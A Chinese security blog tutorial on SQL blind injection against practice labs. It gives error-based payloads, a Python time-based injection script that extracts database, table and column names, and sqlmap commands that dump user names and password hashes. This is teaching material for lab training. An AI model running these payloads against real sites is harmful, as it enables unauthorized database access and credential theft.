SQL盲注之python脚本爆破及sqlmap基础操作

提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档

文章目录

  • 前言
  • 一、SQL盲注是什么?
  • 二、介绍与使用
    • 1.盲注的三种分类
    • 2.基于报错的盲注
    • 3.基于时间的脚本化盲注
  • sqlmap的使用


前言

        哈,我是爱挖洞的萝卜头,从今天开始来csdn分享学习过过程,学习经历,望各位大佬指教指教,嘿嘿嘿。

一、SQL盲注是什么?

        经历过前面的数字型注入,字符型注入,提交方式注入等,我们对sql注入有了基本的认识,然而在大部分情况下,注入语句是无回显的,无法从浏览器上看到数据库的相关信息,这个时候我们就需要用到相关的报错或盲注进行后续操作。同时为手工注入时,提前预知或了解其SQL语句的大概写法。所谓盲注就是在注入过程中,获取的数据不能回显至前端页面。此时,我们需要利用一些方法进行判断或者尝试。

二、介绍与使用

1.1.盲注的三种分类

        盲注大致可以分为下面三类:

                1.bool型:

                        即真假逻辑判断,常见使用sql函数:

                        like 'ro%'     #判断ro或ro.. .是否成立
                        regexp '^xiaodi[a-z]'   #匹配xiaodi及xiaodi...等
                        if(条件,5,0)    #条件成立返回5反之返回0
                        sleep(5)     #sQI语句延时执行5秒
                        mid(a,b,c)     #从位置b开始,截取a字符串的c位
                        substr(a,b,c)    #从b位置开始,截取字符串a的c长度
                        left(database(),1),database() #left(a,b)从左侧截取a的前b位
                        length(database())=8   #判断数据库database ()名的长度
                        ord=ascii ascii(x)=97   #判断x的asci i码是否等于97

                2.报错的盲注:

                        floor,updatexml,extractvalue
                3.时间的盲注:

                        sleep

        这篇文章主要讲一下手工的报错盲注和,脚本化的时间盲注,当然最后会给大家介绍sql注入神器sqlmap,这里指在搞清楚注入原理。

                        

2.基于报错的盲注

        OK,讲到报错盲注这里我们需要借助一些工具和一些漏洞测试平台。我们开启我们的漏洞测试平台pikachu,再打开的burp抓包工具。(相信浏览器与burp的代理大家都会操作)

         SQL盲注之python脚本爆破及sqlmap基础操作_第1张图片

               运用我们上面介绍的updatexml函数,具体写法:     

username=wjlbt' or updatexml(1,concat(0x7e,(database())),0) or
'&password=123456&sex=man&phonenum=123456&email=123456&add=123456&submit=submit

         SQL盲注之python脚本爆破及sqlmap基础操作_第2张图片

 SQL盲注之python脚本爆破及sqlmap基础操作_第3张图片

         database()即获取当前数据库名,database()可以替换成任意SQL语句,以此来爆破表名,列名和相关数据。如果不知道怎么接着写,可以先去学一点数据库的知识

        而其他的extracvalue也是一样的操作方法

' or extractvalue(1,concat(0x7e,database())) or
'

        floor有点不同

' or(select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e)))
from information_schema.tableslimit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
or '

 

        至于为什么要在前后加上引号,我们来看源码的SQL语句输入 

        SQL盲注之python脚本爆破及sqlmap基础操作_第4张图片

         这其实就是用引号来闭合语句,实际操作中可能是 '、''、')、'')等等,多试几次就可以了

    3.基于时间的脚本化盲注   

                其实写这篇文章就是为了展示这段脚本代码,写着写着就加了不少东西进去了

这是在SQLis漏洞平台的less-5中,参考了是阿明啊的SQLis通关。

SQL盲注之python脚本爆破及sqlmap基础操作_第5张图片

 OK,上代码:

# coding:utf-8
import requests
import datetime
import time

def database_name():
    name = ''
    for j in range(1,40):#这个写大一点没事
        for i in '0123456789abcdefghijklmnopqrstuvwxyz,_D':
            url = "http://192.168.101.1/sqli-labs-master/Less-5/"
            # 根据网站响应速度选择时间
            payload = "?id=1' and sleep(if(substr(database(),%d,1)='%s',2,0)) --+" % (j,i)
            # 爆表
            # payload="?id=1' and sleep(if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),%d,1)='%s',2,0)) --+" % (j,i)
            # 暴列
            # payload = "?id=1' and sleep(if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),%d,1)='%s',2,0)) --+" % (j, i)
            time1 = datetime.datetime.now()
            r = requests.get(url + payload)
            time2 = datetime.datetime.now()
            sec = (time2 - time1).seconds
            if sec >=2:
                name += i
                print(name)
                break
    print('database_name:', name)


if __name__ == '__main__':
    database_name()

 显示数据库名:

SQL盲注之python脚本爆破及sqlmap基础操作_第6张图片

爆表 

 SQL盲注之python脚本爆破及sqlmap基础操作_第7张图片

后面暴列和数据差不多

sqlmap的使用:

        这里我们使用墨者学院的在线靶场做实验

SQL盲注之python脚本爆破及sqlmap基础操作_第8张图片

 SQL盲注之python脚本爆破及sqlmap基础操作_第9张图片

SQL盲注之python脚本爆破及sqlmap基础操作_第10张图片 

 

 sqlmap下载安装完成后:

执行python sqlmap.py -u URL --dbs       即获取注入点所有数据库

python sqlmap.py -u "http://124.70.64.48:46228/new_list.php?id=tingjigonggao" --dbs

SQL盲注之python脚本爆破及sqlmap基础操作_第11张图片

  python sqlmap.py -u URL  -D"(获取的数据库名)" --tables     获取当前数据库下所有表

python sqlmap.py -u "http://124.70.64.48:46228/new_list.php?id=tingjigonggao" -D"mozhe_discuz_stormgroup"  --tables

SQL盲注之python脚本爆破及sqlmap基础操作_第12张图片

  python sqlmap.py -u URL  -D"(获取的数据库名)" -T"(获取的表名)" --columns      获取列名

python sqlmap.py -u "http://124.70.64.48:46228/new_list.php?id=tingjigonggao" -D"mozhe_discuz_stormgroup" -T"stormgroup_member" --columns

SQL盲注之python脚本爆破及sqlmap基础操作_第13张图片

 python sqlmap.py -u URL  -D"(获取的数据库名)" -T"(获取的表名)" -C"(获取的列名)" --dump      打印数据

python sqlmap.py -u "http://124.70.64.48:46228/new_list.php?id=tingjigonggao" -D"mozhe_discuz_stormgroup" -T"stormgroup_member" -C"name,password" --dump

SQL盲注之python脚本爆破及sqlmap基础操作_第14张图片

 密码经过MD5加密,网上搜一下解密就OK啦

你可能感兴趣的:(python,网络安全,web安全)